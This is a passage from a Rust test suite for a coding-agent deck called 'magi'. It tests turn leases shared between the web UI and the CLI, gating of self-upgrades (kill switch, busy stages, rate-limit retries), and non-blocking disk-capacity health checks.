22049            !talks.turn_held(id),
22050            "dropping the guard releases the lease"
22051        );
22052    }
22053
22054    fn consult_question(ui: &Ui) -> Question {
22055        let mut q = Question::new(
22056            "20260901-000000-consult".to_owned(),
22057            "implement".to_owned(),
22058            "impl-A".to_owned(),
22059            "Which backend?".to_owned(),
22060            String::new(),
22061            vec!["SQLite".to_owned(), "Redis".to_owned()],
22062        );
22063        ui.questions.put(&mut q).expect("question");
22064        q
22065    }
22066
22067    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22068        (
22069            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22070            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22071        )
22072    }
22073
22074    #[tokio::test]
22075    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22076        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22077        let q = consult_question(&ui);
22078        let talk = ui.talks.get(&id).expect("talk");
22079        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22080        let before = consult_snapshot(&ui, &q, &id);
22081        let cli_talks = Talks::at(ui.home.join("talks"));
22082        assert_eq!(
22083            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22084                .await
22085                .expect("CLI starter"),
22086            crate::consult::Started::Busy
22087        );
22088        assert_eq!(consult_snapshot(&ui, &q, &id), before);
22089        assert!(ui.is_thinking(&id));
22090        drop(guard);
22091        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22092    }
22093
22094    #[tokio::test]
22095    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22096        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22097        let q = consult_question(&ui);
22098        let talk = ui.talks.get(&id).expect("talk");
22099        let started = tmp.path().join("started");
22100        let release = tmp.path().join("release");
22101        let script = tmp.path().join("consult-agent.sh");
22102        std::fs::write(
22103            &script,
22104            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
22105        )
22106        .expect("script");
22107        let mut cfg = stub_config();
22108        cfg.agents[0].id = "mock".to_owned();
22109        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22110        cfg.agents[0].env = std::collections::BTreeMap::from([
22111            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22112            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22113        ]);
22114        let questions = ui.questions.clone();
22115        let cli_talks = Talks::at(ui.home.join("talks"));
22116        let cli_q = q.clone();
22117        let turn = tokio::spawn(async move {
22118            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22119        });
22120        let ready = tokio::time::timeout(Duration::from_secs(30), async {
22121            while !started.exists() {
22122                tokio::time::sleep(Duration::from_millis(10)).await;
22123            }
22124        })
22125        .await;
22126        // Always release and join the agent, even if readiness or the web
22127        // request fails, so a failed assertion cannot leave a turn behind.
22128        let refusal = if ready.is_ok() {
22129            let before = consult_snapshot(&ui, &q, &id);
22130            let result = talk_say(
22131                State(Arc::clone(&ui)),
22132                Path(id.clone()),
22133                Ok(Json(NewTalkTurn {
22134                    reply_to: None,
22135                    text: "another message".to_owned(),
22136                    attachments: Vec::new(),
22137                })),
22138            )
22139            .await;
22140            Some((result, before, consult_snapshot(&ui, &q, &id)))
22141        } else {
22142            None
22143        };
22144        std::fs::write(&release, "").expect("release agent");
22145        let done = turn.await.expect("join CLI turn");
22146        ready.expect("agent started before deadline");
22147        let (result, before, after) = refusal.expect("web request");
22148        let error = result.expect_err("web must refuse the CLI's turn");
22149        assert_eq!(error.status, StatusCode::CONFLICT);
22150        assert!(error.message.contains("a turn is already running"));
22151        assert_eq!(
22152            after, before,
22153            "refusal preserves question, draft and history"
22154        );
22155        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22156        let guard = ui
22157            .begin_talk_turn(&id)
22158            .expect("web claim")
22159            .expect("free again");
22160        drop(guard);
22161    }
22162
22163    #[test]
22164    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22165        let home = TempDir::new().expect("temp home");
22166        let talks = Talks::at(home.path().join("talks"));
22167        let ui = Ui::new(
22168            Queue::at(home.path().join("queue")),
22169            Questions::at(home.path().join("questions")),
22170            talks.clone(),
22171            home.path().join("runs"),
22172            home.path().to_path_buf(),
22173            PathBuf::from("/repo"),
22174        )
22175        .with_worktrees_root(home.path().join("wt"));
22176        let id = "20260901-000000-order";
22177        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22178        // Hold the slot mutex so the drop can finish the lease but not the slot.
22179        let slots = ui.talk_turns.lock().unwrap();
22180        let dropper = std::thread::spawn(move || drop(turn));
22181        let start = std::time::Instant::now();
22182        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22183            std::thread::sleep(Duration::from_millis(5));
22184        }
22185        assert!(!talks.turn_held(id), "the lease is released first");
22186        assert!(slots.live.contains(id), "the slot is still held meanwhile");
22187        drop(slots);
22188        dropper.join().expect("join");
22189        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22190    }
22191
22192    #[tokio::test]
22193    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22194        let fx = Fixture::start().await;
22195        let mut beat = crate::daemon::Status::new();
22196        beat.worker_protocol = None;
22197        beat.pid = 4321;
22198        beat.updated_at = jiff::Timestamp::now();
22199        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22200            .expect("publish a heartbeat");
22201
22202        let res = fx.post("/api/upgrade", None).await;
22203        assert_eq!(res.status, 409);
22204    }
22205
22206    /// [`should_spawn_recheck`] must refuse for the same two reasons
22207    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
22208    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
22209    /// Purely a predicate over config and the environment - no network, no
22210    /// disk, no runtime - so unlike the fixture-based tests around it this
22211    /// one needs neither.
22212    #[test]
22213    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22214        assert!(!should_spawn_recheck(&crate::config::Update {
22215            mode: UpdateMode::Off,
22216            interval: None,
22217            auto_restart: false,
22218        }));
22219
22220        // SAFETY: single-threaded as far as this variable goes, the same
22221        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22222        unsafe {
22223            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22224        }
22225        let killed = should_spawn_recheck(&crate::config::Update {
22226            mode: UpdateMode::Notify,
22227            interval: None,
22228            auto_restart: false,
22229        });
22230        unsafe {
22231            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22232        }
22233        assert!(
22234            !killed,
22235            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
22236             one-time startup check"
22237        );
22238
22239        assert!(should_spawn_recheck(&crate::config::Update {
22240            mode: UpdateMode::Notify,
22241            interval: None,
22242            auto_restart: false,
22243        }));
22244    }
22245
22246    /// [`recheck_poll_period`] must track a configured `[update] interval`
22247    /// shorter than its own default ceiling - a fixed sleep here would leave
22248    /// an operator's short interval waiting on the next wake-up instead of on
22249    /// `should_check`, which is the same bug this whole task exists to fix,
22250    /// just one level down.
22251    #[test]
22252    fn recheck_poll_period_tracks_a_short_configured_interval() {
22253        let short = crate::config::Update {
22254            mode: UpdateMode::Notify,
22255            interval: Some("1m".to_owned()),
22256            auto_restart: false,
22257        };
22258        let period = recheck_poll_period(&short);
22259        assert!(
22260            period <= Duration::from_secs(30),
22261            "a one-minute interval must wake the task far sooner than the \
22262             default ceiling, or the deck would not notice within the \
22263             interval the operator configured: got {period:?}"
22264        );
22265
22266        let default = crate::config::Update {
22267            mode: UpdateMode::Notify,
22268            interval: None,
22269            auto_restart: false,
22270        };
22271        assert_eq!(
22272            recheck_poll_period(&default),
22273            UPDATE_RECHECK_POLL_MAX,
22274            "the default day-long interval should poll at the (capped) \
22275             ceiling rather than needlessly often"
22276        );
22277    }
22278
22279    /// [`update_recheck_due`] must not repeat a check made moments ago, the
22280    /// same throttle `updater::Checker::should_check` already gives the
22281    /// CLI's notify mode. Built over an explicit state file via
22282    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
22283    /// write the operator's real `last_update_check.json` - and therefore
22284    /// cannot flake on whatever that file happens to say on the machine
22285    /// running the test.
22286    #[test]
22287    fn recheck_skips_the_network_before_the_interval_elapses() {
22288        let dir = TempDir::new().expect("temp dir");
22289        let path = dir.path().join("state.json");
22290        let state = kaishin::UpdateCheckState {
22291            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
22292            last_known_latest: None,
22293            last_known_url: None,
22294        };
22295        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
22296
22297        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
22298        assert!(
22299            !update_recheck_due(&checker, None),
22300            "a check made moments ago must not be repeated before the \
22301             configured interval elapses"
22302        );
22303    }
22304
22305    /// An upgrade this deck already started must not be raced by a recheck
22306    /// that discovers a newer release mid-install - regardless of what
22307    /// `should_check` says, which is why the state file here is missing
22308    /// entirely: read alone, that alone would answer "never checked, go
22309    /// ahead".
22310    #[test]
22311    fn recheck_defers_to_an_upgrade_already_in_flight() {
22312        let dir = TempDir::new().expect("temp dir");
22313        let path = dir.path().join("state.json");
22314        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22315        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22316
22317        assert!(
22318            !update_recheck_due(&checker, Some(&progress)),
22319            "a recheck must not run while an upgrade this deck started is \
22320             still moving"
22321        );
22322    }
22323
22324    #[tokio::test]
22325    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22326        // The same env var the background check honours (`disabled_by_env`)
22327        // must also stop a button press before it ever calls
22328        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
22329        // means "never contact GitHub from this process", and a tap on the
22330        // upgrade button must not override that any more than a broken
22331        // `magi.toml` may. Left unset, this fixture's default config would
22332        // otherwise reach a real, unauthenticated GitHub call.
22333        //
22334        // SAFETY: single-threaded as far as this variable goes - nothing else
22335        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
22336        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22337        unsafe {
22338            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22339        }
22340        let fx = Fixture::start().await;
22341        let res = fx.post("/api/upgrade", None).await;
22342        unsafe {
22343            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22344        }
22345        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22346        let body = res.json();
22347        assert!(body["to"].is_null(), "there was no release to move to");
22348        assert!(body["parked"].is_null(), "and nothing was parked");
22349        assert!(
22350            body["detail"]
22351                .as_str()
22352                .unwrap()
22353                .contains("disabled by MAGI_NO_AUTOUPDATE"),
22354            "{body:?}"
22355        );
22356    }
22357
22358    #[test]
22359    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22360        use AutoUpgradeDecision::{Skip, Trigger, Wait};
22361        let mut cfg = Update::default();
22362        assert!(matches!(
22363            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22364            Skip(_)
22365        ));
22366        cfg.auto_restart = true;
22367        assert_eq!(
22368            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22369            Trigger
22370        );
22371        assert_eq!(
22372            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22373            Wait
22374        );
22375        for (disabled, moving, failed) in [
22376            (true, false, None),
22377            (false, true, None),
22378            (false, false, Some("v2")),
22379        ] {
22380            assert!(matches!(
22381                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22382                Skip(_)
22383            ));
22384        }
22385        assert_eq!(
22386            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22387            Trigger
22388        );
22389        cfg.mode = UpdateMode::Off;
22390        assert!(matches!(
22391            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22392            Skip(_)
22393        ));
22394    }
22395
22396    #[test]
22397    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22398        let home = TempDir::new().unwrap();
22399        let ui = idle_ui(&home);
22400        assert!(!ui.auto_upgrade_busy());
22401        let directory = home.path().join("workers/jobs/abcdef");
22402        std::fs::create_dir_all(&directory).unwrap();
22403        let mut job = crate::worker::Job {
22404            id: "abcdef".into(),
22405            sequence: 1,
22406            kind: "scheduler".into(),
22407            key: "scheduler".into(),
22408            payload: serde_json::json!({}),
22409            generation: "test".into(),
22410            version: None,
22411            status: crate::worker::Status::Running,
22412            result: None,
22413            pid: None,
22414            created_at: 0,
22415            finished_at: None,
22416        };
22417        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22418        let write = |job: &crate::worker::Job| {
22419            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22420        };
22421        write(&job);
22422        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22423        for kind in ["task", "chat"] {
22424            job.kind = kind.into();
22425            write(&job);
22426            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22427        }
22428        drop(lease);
22429        // Lease::drop explicitly unlocks even if a concurrent fork inherited
22430        // the descriptor. Check the real decision directly: a raw flock probe
22431        // here could itself be inherited and keep the worker looking busy.
22432        assert!(
22433            !ui.auto_upgrade_busy(),
22434            "completed execution permits updates"
22435        );
22436        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22437        assert!(
22438            ui.auto_upgrade_busy(),
22439            "unreadable worker state defers updates"
22440        );
22441    }
22442
22443    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22444        Box::pin(async { anyhow::bail!("test installer failed") })
22445    }
22446
22447    #[tokio::test]
22448    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22449        let home = TempDir::new().unwrap();
22450        std::fs::write(
22451            home.path().join("magi.toml"),
22452            "[update]\nauto_restart = true\n",
22453        )
22454        .unwrap();
22455        let mut ui = idle_ui(&home);
22456        ui.repo = home.path().to_path_buf();
22457        // Every successful trigger in this test uses this seam, never the installer.
22458        ui.upgrade_runner = fail_test_upgrade;
22459        let ui = Arc::new(ui);
22460        let latest = || {
22461            Some(kaishin::LatestRelease {
22462                tag_name: "v999.0.0".into(),
22463                html_url: String::new(),
22464            })
22465        };
22466        ui.talk_turns.lock().unwrap().live.insert("busy".into());
22467        assert_eq!(
22468            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22469                .await
22470                .status(),
22471            StatusCode::NO_CONTENT
22472        );
22473        assert!(updater::read_progress(home.path()).is_none());
22474        ui.talk_turns.lock().unwrap().live.clear();
22475        let gate = ui.upgrade_gate.lock().await;
22476        assert_eq!(
22477            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22478                .await
22479                .status(),
22480            StatusCode::CONFLICT
22481        );
22482        drop(gate);
22483        assert_eq!(
22484            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22485                .await
22486                .status(),
22487            StatusCode::ACCEPTED
22488        );
22489        let progress = updater::read_progress(home.path()).unwrap();
22490        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22491        assert_eq!(progress.stage, updater::Stage::Downloading);
22492        assert!(progress.parked_run.is_none());
22493        assert!(ui.start_detached_loop().await.is_err());
22494        assert!(ui.start_loop(None).is_err());
22495        assert!(ui.begin_resume("late").is_err());
22496        tokio::time::timeout(Duration::from_secs(2), async {
22497            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22498                tokio::task::yield_now().await;
22499            }
22500        })
22501        .await
22502        .unwrap();
22503        let progress = updater::read_progress(home.path()).unwrap();
22504        assert_eq!(progress.stage, updater::Stage::Failed);
22505        assert_eq!(
22506            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22507                .await
22508                .status(),
22509            StatusCode::NO_CONTENT
22510        );
22511        // The manual shared path records the same progress and runs the same seam.
22512        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22513        assert_eq!(
22514            finish_upgrade_request(&ui, result).status(),
22515            StatusCode::ACCEPTED
22516        );
22517        assert_eq!(
22518            updater::read_progress(home.path()).unwrap().trigger,
22519            updater::UpgradeTrigger::Manual
22520        );
22521        tokio::time::timeout(Duration::from_secs(2), async {
22522            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22523                tokio::task::yield_now().await;
22524            }
22525        })
22526        .await
22527        .unwrap();
22528    }
22529
22530    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22531        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22532        p.stage = stage;
22533        p
22534    }
22535
22536    #[test]
22537    fn busy_stages_match_the_ui_set() {
22538        use crate::updater::Stage;
22539        assert!(APP_JS.contains(
22540            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22541        ));
22542        for s in [
22543            Stage::Downloading,
22544            Stage::Replaced,
22545            Stage::Parking,
22546            Stage::Restarting,
22547        ] {
22548            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22549        }
22550        for s in [Stage::Done, Stage::Failed] {
22551            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22552        }
22553        assert!(upgrade_in_motion(None).is_none());
22554    }
22555
22556    #[tokio::test]
22557    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22558        use crate::updater::Stage;
22559        for stage in [
22560            Stage::Downloading,
22561            Stage::Replaced,
22562            Stage::Parking,
22563            Stage::Restarting,
22564        ] {
22565            let fx = Fixture::start().await;
22566            let seeded = seeded_progress(stage);
22567            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22568            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22569                .expect("read");
22570
22571            let res = fx.post("/api/upgrade", None).await;
22572            assert_eq!(res.status, 409, "{stage:?}");
22573            let err = res.json()["error"].as_str().unwrap().to_owned();
22574            assert!(err.contains("already in progress"), "{err}");
22575            assert!(err.contains(stage.as_str()), "{err}");
22576
22577            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22578                .expect("read");
22579            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22580            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22581                .unwrap_or_default();
22582            assert!(!log.contains("signalling HANDOVER"), "{log}");
22583        }
22584    }
22585
22586    #[test]
22587    fn upgrade_retry_timing_only_parses_known_diagnostics() {
22588        assert_eq!(
22589            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22590            Some(3723)
22591        );
22592        assert_eq!(
22593            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22594            Some(60)
22595        );
22596        assert_eq!(
22597            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22598            Some(0)
22599        );
22600        for message in [
22601            "permission denied",
22602            "GitHub API rate limit exceeded",
22603            "GitHub rate limit (resets in unknown)",
22604            "GitHub rate limit (resets in 18446744073709551615d)",
22605        ] {
22606            assert_eq!(upgrade_retry_after(message), None, "{message}");
22607        }
22608    }
22609
22610    #[tokio::test]
22611    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22612        let home = TempDir::new().unwrap();
22613        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22614        ui.start_loop(None).unwrap();
22615        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22616        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22617        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22618        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22619        let response = finish_upgrade_request(&ui, result);
22620        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22621        assert_eq!(response.headers()["retry-after"], "120");
22622        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22623            .await
22624            .unwrap();
22625        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22626        assert!(body["error"].as_str().unwrap().contains(reason));
22627        assert_eq!(body["retry_after_secs"], 120);
22628        assert!(body["retry_at"].as_u64().is_some());
22629        for _ in 0..2 {
22630            let view = health(State(ui.clone())).await.unwrap().0;
22631            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22632            assert_eq!(failure, body);
22633        }
22634        assert_eq!(
22635            std::fs::read(updater::progress_path(home.path())).unwrap(),
22636            before
22637        );
22638        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22639        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22640        // A conflicting request must not erase the actionable earlier failure.
22641        let gate = ui.upgrade_gate.lock().await;
22642        assert_eq!(
22643            upgrade_post(State(ui.clone())).await.status(),
22644            StatusCode::CONFLICT
22645        );
22646        drop(gate);
22647        assert!(
22648            health(State(ui.clone()))
22649                .await
22650                .unwrap()
22651                .0
22652                .upgrade_request_error
22653                .is_some()
22654        );
22655        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22656        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22657        assert!(
22658            health(State(ui.clone()))
22659                .await
22660                .unwrap()
22661                .0
22662                .upgrade_request_error
22663                .is_none()
22664        );
22665        let live = ui.lock_loop().live.take().unwrap();
22666        live.stop.stop();
22667        live.handle.await.unwrap();
22668    }
22669
22670    #[tokio::test]
22671    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22672        use crate::updater::Stage;
22673        let repo = TempDir::new().expect("repo dir");
22674        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22675            .expect("write magi.toml");
22676        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22677        for stage in [Stage::Done, Stage::Failed] {
22678            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22679            let res = fx.post("/api/upgrade", None).await;
22680            assert_eq!(res.status, 200, "{stage:?}");
22681        }
22682        // No record at all, and the gate was released by the earlier calls.
22683        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22684        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22685    }
22686
22687    #[tokio::test]
22688    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22689        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
22690        // and the route answers from its own logic.
22691        //
22692        // This test used to lean on the fixture's placeholder repo failing
22693        // config discovery, which left `mode = "notify"` - and a live,
22694        // unauthenticated call to the GitHub releases API inside a unit test.
22695        // GitHub allows 60 of those an hour per address, so the suite went red
22696        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
22697        // long as somebody kept re-running it: every attempt spent another
22698        // request. Six reruns across four pull requests were charged to that
22699        // before it was read as a rate limit rather than a flake.
22700        //
22701        // What the assertion is about is the "already current" branch, which
22702        // is reached by there being no newer release *or* nowhere to look. The
22703        // second one needs no network and cannot be rate limited.
22704        let repo = TempDir::new().expect("repo dir");
22705        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22706            .expect("write magi.toml");
22707        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22708
22709        // It must answer 200 and leave the process alone: restarting for an
22710        // upgrade that did not happen parks the run in flight and drops every
22711        // connection to pay for nothing. A probe against a deck already on the
22712        // newest build did exactly that, which is how this case got its own
22713        // branch.
22714        let res = fx.post("/api/upgrade", None).await;
22715        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22716        let body = res.json();
22717        assert!(body["to"].is_null(), "there was no release to move to");
22718        assert!(body["parked"].is_null(), "and nothing was parked");
22719        assert!(
22720            body["detail"]
22721                .as_str()
22722                .unwrap()
22723                .contains("nothing restarted"),
22724            "{body:?}"
22725        );
22726    }
22727
22728    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22729        tokio::time::timeout(Duration::from_secs(5), async {
22730            while state.lock().unwrap().in_flight {
22731                tokio::task::yield_now().await;
22732            }
22733        })
22734        .await
22735        .expect("capacity scan finished");
22736    }
22737
22738    fn disk_test_scope(home: &FsPath) -> DiskScope {
22739        DiskScope {
22740            runs: home.join("runs"),
22741            worktrees: home.join("worktrees"),
22742            cache: Some(home.join("cache")),
22743        }
22744    }
22745
22746    fn known_disk_capacity() -> DiskCapacity {
22747        DiskCapacity {
22748            free_bytes: Some(100),
22749            runs_bytes: Some(200),
22750            worktrees_bytes: Some(300),
22751            cache_bytes: Some(400),
22752        }
22753    }
22754
22755    #[tokio::test]
22756    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22757        let home = TempDir::new().unwrap();
22758        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22759        let mut ui = delta_test_ui(home.path());
22760        let state = Arc::get_mut(&mut ui).unwrap();
22761        state.repo = home.path().to_owned();
22762        state.worktrees_root = home.path().join("worktrees");
22763        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22764        ui.monitor
22765            .worker_started
22766            .store(true, std::sync::atomic::Ordering::SeqCst);
22767        let cfg = deputy_config(&ui.repo);
22768        let scope = DiskScope::of(&ui, cfg.as_ref());
22769        let (started, reached) = tokio::sync::oneshot::channel();
22770        let (release, blocked) = std::sync::mpsc::channel();
22771        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22772            started.send(()).unwrap();
22773            blocked.recv().unwrap();
22774            known_disk_capacity()
22775        });
22776        assert!(cold.runs_bytes.is_none());
22777        tokio::time::timeout(Duration::from_secs(5), reached)
22778            .await
22779            .unwrap()
22780            .unwrap();
22781
22782        let requests: Vec<_> = (0..4)
22783            .map(|_| {
22784                let ui = ui.clone();
22785                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22786            })
22787            .collect();
22788        tokio::time::timeout(Duration::from_secs(5), async {
22789            for request in requests {
22790                let view = request.await.unwrap();
22791                let disk = serde_json::to_value(view.disk).unwrap();
22792                assert!(disk["runs_bytes"].is_null());
22793                assert!(disk["worktrees_bytes"].is_null());
22794                // Free space is a cheap live observation even while the
22795                // recursive capacity measurement remains blocked.
22796                assert!(disk["free_bytes"].is_u64());
22797            }
22798        })
22799        .await
22800        .expect("health must return while the measurement is causally blocked");
22801        assert!(ui.monitor.disk.lock().unwrap().in_flight);
22802        // No competing worker can have published while the first holds flight.
22803        assert!(
22804            ui.monitor
22805                .disk
22806                .lock()
22807                .unwrap()
22808                .capacity
22809                .runs_bytes
22810                .is_none()
22811        );
22812        release.send(()).unwrap();
22813        wait_for_disk_scan(&ui.monitor.disk).await;
22814        assert_eq!(
22815            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22816            Some(200)
22817        );
22818    }
22819
22820    #[tokio::test]
22821    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22822        let home = TempDir::new().unwrap();
22823        let scope = disk_test_scope(home.path());
22824        let state = Arc::new(Mutex::new(DiskObservation {
22825            scope: Some(scope.clone()),
22826            capacity: known_disk_capacity(),
22827            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22828            ..Default::default()
22829        }));
22830        let (started, reached) = tokio::sync::oneshot::channel();
22831        let (release, blocked) = std::sync::mpsc::channel();
22832        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22833            started.send(()).unwrap();
22834            blocked.recv().unwrap();
22835            DiskCapacity {
22836                runs_bytes: Some(250),
22837                ..Default::default()
22838            }
22839        });
22840        assert_eq!(before.cache_bytes, Some(400));
22841        tokio::time::timeout(Duration::from_secs(5), reached)
22842            .await
22843            .unwrap()
22844            .unwrap();
22845        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22846        for _ in 0..4 {
22847            let scans = duplicate_scans.clone();
22848            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22849                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22850                DiskCapacity::default()
22851            });
22852            assert_eq!(during.runs_bytes, Some(200));
22853            assert_eq!(during.cache_bytes, Some(400));
22854        }
22855        release.send(()).unwrap();
22856        wait_for_disk_scan(&state).await;
22857        let scans = duplicate_scans.clone();
22858        let after = DiskObservation::observe(&state, scope, move |_| {
22859            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22860            DiskCapacity::default()
22861        });
22862        wait_for_disk_scan(&state).await;
22863        assert_eq!(after.runs_bytes, Some(250));
22864        assert_eq!(after.free_bytes, Some(100));
22865        assert_eq!(after.cache_bytes, Some(400));
22866        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22867        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22868    }
22869
22870    #[tokio::test]
22871    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22872        let home = TempDir::new().unwrap();
22873        let old_scope = disk_test_scope(home.path());
22874        let mut new_scope = old_scope.clone();
22875        new_scope.cache = Some(home.path().join("replacement-cache"));
22876        let state = Arc::new(Mutex::new(DiskObservation {
22877            scope: Some(old_scope.clone()),
22878            capacity: known_disk_capacity(),
22879            ..Default::default()
22880        }));
22881        let (started, reached) = tokio::sync::oneshot::channel();
22882        let (release, blocked) = std::sync::mpsc::channel();
22883        DiskObservation::observe(&state, old_scope, move |_| {
22884            started.send(()).unwrap();
22885            blocked.recv().unwrap();
22886            known_disk_capacity()
22887        });
